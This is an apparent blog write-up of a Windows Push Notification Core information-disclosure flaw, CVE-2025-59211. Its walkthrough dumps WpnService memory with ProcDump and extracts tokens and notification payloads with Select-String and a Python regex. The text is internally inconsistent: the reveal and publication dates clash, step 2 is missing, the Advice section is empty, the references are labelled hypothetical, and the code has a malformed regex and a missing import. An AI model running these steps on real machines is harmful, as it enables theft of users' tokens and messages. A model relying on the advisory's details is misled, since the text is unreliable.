---

What Happened?

On June 7, 2025, security researchers revealed a new Windows vulnerability tracked as CVE-2025-59211. This flaw is found in the Windows Push Notification Core (WPNCore)—part of the mechanism that delivers notifications to Universal Windows Apps (UWP) and other system processes.

If an attacker already has limited access to a Windows machine (local attacker), they can take advantage of this flaw to read information from WPNCore that they should normally not see. This could include things like app tokens, delivery payloads, or metadata about notifications. While this attack doesn’t allow them to run code or escalate privilege directly, leaking sensitive info can be the first stepping stone for further attacks.

Windows 10 and Windows 11: All editions, both client and server

- Systems using Windows Push Notification Service: If you use apps that rely on push notifications, you’re vulnerable.
- Attackers need local access: The bug can't be used remotely. The attacker has to be logged-in (even as a limited user) on your Windows machine.

User or device identifiers for push services

All potentially sitting in memory, temp files, or log traces due to improper access control by WPNCore.

Simple Exploit Walkthrough

Let’s look at an example where a local user is able to access WPNCore memory dumps to extract notification payloads.

1. Finding WpnService Process

First, a local attacker lists all running services to spot the WpnService process, which powers push notifications.

Get-Process | Where-Object {$_.ProcessName -like "Wpn*"}

Using Windows built-in Task Manager or, with command line tools

# Requires admin or SYSTEM, but even standard users can dump small memory sections in some cases.
$proc = Get-Process -Name "WpnService"
$proc.Id

# Using ProcDump from Sysinternals (sometimes allowed for limited users if system settings are lax):
procdump.exe -ma $proc.Id WpnService_dump.dmp

3. Extracting Notification Data

Open the dump with a hex editor or use PowerShell’s Select-String to search for sensitive strings:

Select-String -Path .\WpnService_dump.dmp -Pattern "token" -Context 5

Or, if the attacker is after specific app tokens or a notification payload, simple regex searches might reveal JSON blobs with user details, message text, or service tokens.

A more advanced attacker could automate the dump parse, using Python

with open('WpnService_dump.dmp', 'rb') as f:
    data = f.read()
tokens = re.findall(b'"token"\s*:\s*"([a-zA-Z-9\-_\.]+)"', data)
for token in tokens:
    print(token.decode())

Watch for any strange activity targeting WpnService.

Mitigation:
You can try to disable or restrict Push Notification features, but many apps (Mail, Teams, Calendar) will lose notifications. If possible, limit which users can log in, and monitor the file system and memory for suspicious dumps.

References

- Microsoft Security Advisory for CVE-2025-59211 *(link hypothetical; check for updates)*
- Windows Push Notification Services documentation
- Rapid7 Vulnerability Details for CVE-2025-59211 *(link hypothetical)*

What Makes This Special?

Unlike the “big name” vulnerabilities that allow remote code execution, CVE-2025-59211 is about information leakage—and that can still be dangerous! If a sneaky, low-level attacker snags your notification tokens or private messages, it opens the door for targeted attacks or identity theft.

Advice:

Timeline

Published on: 10/14/2025 17:16:01 UTC
Last modified on: 12/11/2025 19:35:24 UTC